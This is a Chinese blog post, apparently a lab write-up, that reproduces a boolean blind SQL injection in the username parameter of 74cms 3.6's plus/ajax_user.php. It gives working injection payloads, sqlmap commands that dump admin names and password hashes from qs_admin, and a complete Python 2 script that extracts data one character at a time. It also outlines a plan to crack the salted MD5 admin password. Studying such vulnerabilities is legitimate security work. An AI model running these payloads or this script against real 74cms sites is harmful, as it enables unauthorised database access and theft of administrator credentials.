漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

最近有个74cms v4.2.3任意文件下载的漏洞,本来想试着和74cms 3.6 前台SQL注入漏洞结合下然后取出QS_pwdhash的值进行MD5碰撞,可惜了任意文件下载的漏洞并不影响74cms 3.6,所以就只能先复现下前台注入漏洞了。

本次实验任务

1.复现74cms 3.6 前台SQL注入漏洞。

2.尝试使用Python 自动获取数据库中的数据。

实验工具

1.PHPstudy

2.74cms 3.6 源码 (在文末有提供下载链接)

3.Python 2.7

漏洞复现过程

0x01 下载74cms 3.6并进行安装,安装成功后可以正常访问就是安装成功。

0x02 在http://127.0.0.1/74cms/plus/ajax_user.php在username参数中存在注入点。POST请求如下信息时候由于不存在username为a的用户所以提示false。

构造'or '1'='2进行请求提示false

POST DATA:username=a'or '1'='2&act=get_pass_check

构造'or '1'='1进行请求提示true

POST DATA:username=a'or '1'='1&act=get_pass_check

0x03 根据上面的请求判断http://127.0.0.1/74cms/plus/ajax_user.php中的username参数存在注入的且是布尔型盲注,使用burp Suite拦截该数据包并保存为req.txt。

0x04 使用>sqlmap.py -r req.txt --current-db命令获取当前数据库名信息。

0x05 因为源码是公开的所以对应的数据库表名列名也就已知了,使用如下命令可以获取后台账号密码信息

>E:\sqlmap>sqlmap.py -r req.txt --current-db -T qs_admin -C admin_name,pwd,pwd_hash --dump

0x06 最近发布的74cms v4.2.3前台任意文件读取漏洞本来想利用这个漏洞去获取/data/config.php中的$QS_pwdhash值,但是很遗憾这个漏洞并不影响74cms 3.6的版本。为什么要获取$QS_pwdhash呢?因为在代码中数据库存放的pwd字段的值是由md5($admin_pwd.$pwd_hash.$QS_pwdhash)生成的,现在已知pwd,pwd_hash,如果知道QS_pwdhash的值就可能通过碰撞的方式获取到密码的明文信息,虽然有小小的不尽兴,但是为了能够让文章丰满些(不显得low 哈哈~),将这个盲注使用py实现,虽然SQLmap也能跑出来,就当随手练练编程吧。

0x07 粗略写了个脚本用来跑数据,当然这个就是平时练习时候写好的脚本改下就成了,所以推荐大家多多积累自己写的脚本,当要使用的时候就改下模板就好了,当初写这个模板时是为了更方便注入才写的,因为尽可能的将payload写成通用的,这样在传入的变量中就可以直接写入SQL语句,感觉方便些,使用查询语句规范化。

# -*- coding:utf-8 -*-
# -*- By Thinking -*-
import requests
import string
Url = "http://127.0.0.1/74cms/plus/ajax_user.php"
dic = string.letters + string.digits + '_'
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
          'Content-Type': 'application/x-www-form-urlencoded',
          }
postData = "username=a'or %s and '1'='1&act=get_pass_check"
def getLen(Url,Sql):
    sqli =Sql
    for Len in xrange(32):
        payload = '(' + sqli + ')' + '=' + str(Len)
        url =Url
        data = postData %(payload)
        # print data
        rq = requests.post(url, headers=header,data=data)
        if len(rq.content) == 4:
            print 'Length is : ', Len
            return Len
def getData(Url,Sql,Len):
    sqli = Sql
    temp = ''
    for i in xrange(Len):
        for x in dic:
            X = temp + x
            payload = "(select("+ sqli + ")regexp binary '^%s')" %(X)
            url = Url
            data = postData %(payload)
            # print data
            rq = requests.post(url, headers=header,data=data)
            if len(rq.content) == 4:
                temp = temp + x
                print temp
                break
    print 'Data is : ', temp
    return temp
if __name__=="__main__":
    # GetLenSQL = 'select length(pwd_hash) from qs_admin where admin_id=1' # 引号内写入想要查询的SQL语句即可。
 # Length = getLen(Url, GetLenSQL)
    # GetDataSQL = 'select pwd_hash from qs_admin where admin_id=1'        # 引号内写入想要查询的SQL语句即可
    GetLenSQL = 'select length(database())' # 引号内写入想要查询的SQL语句即可
    Length = getLen(Url, GetLenSQL)
    GetDataSQL = 'select database()'        # 引号内写入想要查询的SQL语句即可
    Data = getData(Url, GetDataSQL, Length)

小总结

这次的漏洞复现偏简单了,相信大家都可以做出来,所以大家可以尝试着将重点放在如何更好的使用Python进行盲注这个问题上,我也附上了自己写的代码,欢迎大家一起交流思路和编程写法。

源码和脚本的下载地址:

链接: https://pan.baidu.com/s/1jHAYJ7S 密码: kqdr

原文发布于微信公众号 - 漏斗社区(newdooneSec)

原文发表时间:2017-08-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏用户2442861的专栏

java数据库操作 (附带数据库连接池的代码)

本文来自:曹胜欢博客专栏。转载请注明出处:http://blog.csdn.net/csh624366188

2742
来自专栏存储

建立本地的Blast数据库

Blast(basic local alignment search tool) 局部序列比对基本检索工具,是NCBI开发的一款基于序列相似性的数据库搜索程序。...

5229
来自专栏大内老A

提供第三种代码生成方式——通过自定义BuildProvider为ASP.NET提供代码生成

之前写了一些关于代码生成的文章,提供了两种不同方式的代码生成解决方案,即CodeDOM+Custom Tool和T4。对于ASP.NET应用,你还有第三种选择—...

22610
来自专栏熊二哥

MongoDB快速入门

    从我第一次听到Nosql这个概念到如今已经走过4个年头了,但仍然没有具体的去做过相应的实践。最近获得一段学习休息时间,购买了Nosql技术实践一书,正在...

29510
来自专栏增长技术

查看历史--Git日志

如果用--stat选项使用git log,它会显示在每个提交(commit)中哪些文件被修改了,这些文件分别添加或删除了多少行内容。

1675
来自专栏YoungGy

R包简单教程

R包概述 R包是什么 为什么学习R包 R包的结构 R包的工作流程 R包的创建 预先准备 包的创建 DESCRIPTION的编写 数据文件 R函数 R文档 测试R...

32210
来自专栏Danny的专栏

【MyBatis框架点滴】——MyBatis延迟加载

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/huyuyang6688/article/...

1373
来自专栏大内老A

[WCF-Discovery]如何利用”发现代理”实现可用服务的实时维护?

上面的内容大部分是围绕着Ad-Hoc模式展开介绍的。Managed模式和Ad-Hoc不同之处在于可用服务的终结点通过发现代理来统一管理。客户端在进行可用目标服务...

2578
来自专栏草根专栏

用ASP.NET Core 2.0 建立规范的 REST API -- 预备知识

2270
来自专栏DOTNET

【翻译】MongoDB指南/CRUD操作(二)

【原文地址】https://docs.mongodb.com/manual/ MongoDB CRUD操作(二) 主要内容: 更新文档,删除文档,批量写操作,S...

3438

扫码关注云+社区

领取腾讯云代金券